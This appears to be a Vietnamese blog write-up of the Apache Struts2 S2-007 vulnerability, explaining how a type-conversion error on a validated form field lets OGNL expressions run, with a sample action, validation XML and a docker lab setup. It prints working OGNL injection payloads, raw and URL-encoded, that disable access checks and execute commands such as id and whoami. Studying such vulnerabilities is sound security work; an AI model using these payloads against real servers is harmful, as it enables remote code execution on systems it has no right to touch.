Lỗ hổng bảo mật trên Apache Struts2 (S2-007)
11:56 PM
Add Comment
1. Mô tả
2. Thông tin lỗ hổng
Nguyên nhân gây ra lỗ hổng:
Input lỗi là do OGNL expression trong quá trình chuyển đổi. Điều này cho phép người thực thi các đoạn mã độc hại để tiến hành RCE
Khi qác luật hợp lệ được cấu hình và xảy ra lỗi trong việc chuyển đổi , việc nối chuỗi sai được thực hiện và thành công từ đó thực thi được OGNL expression.
3. Khai thác
Ta có <ActionName> -validation.xml được thiết lập các luật hợp lệ. Nếu việc chuyển đổi các quy tắc hợp lệ không thành công, máy chủ sẽ ghép các giá trị string trong form mà người dùng nhập, sau đó thực hiện phân tích cú pháp OGNL expression và trả về kết quả.
Ta có ví dụ về UserAction:
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
và cấu hình cho UserAction-validation.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
Khi người dùng gửi lên age
một chuỗi str
thay vì gửi lên int
, Server sẽ ghép "'" + value + "'"
wới code và sau đó dùng OGNL expression để phân tích. Để có thể exploit thành công, chúng ta sẽ tìm form field được cấu hình giống với những luật hợp lệ để có thể tạo ra một chuyển đổi lỗi. Sau đó ta có thể chèn bất kỳ OGNL expression code bằng cách giống như cách dùng single quotes với SQLPayload để bypass cấu hình an toàn
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
Cài đặt
docker-compose build
docker-compose up -d
Exploit
Đây là payload dùng để RCE:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29+%2B+%27
Chèn payload vào input (age), sau đó ta thu được kết quả như dưới:
Payload 2:
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-007)"
Post a Comment
Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !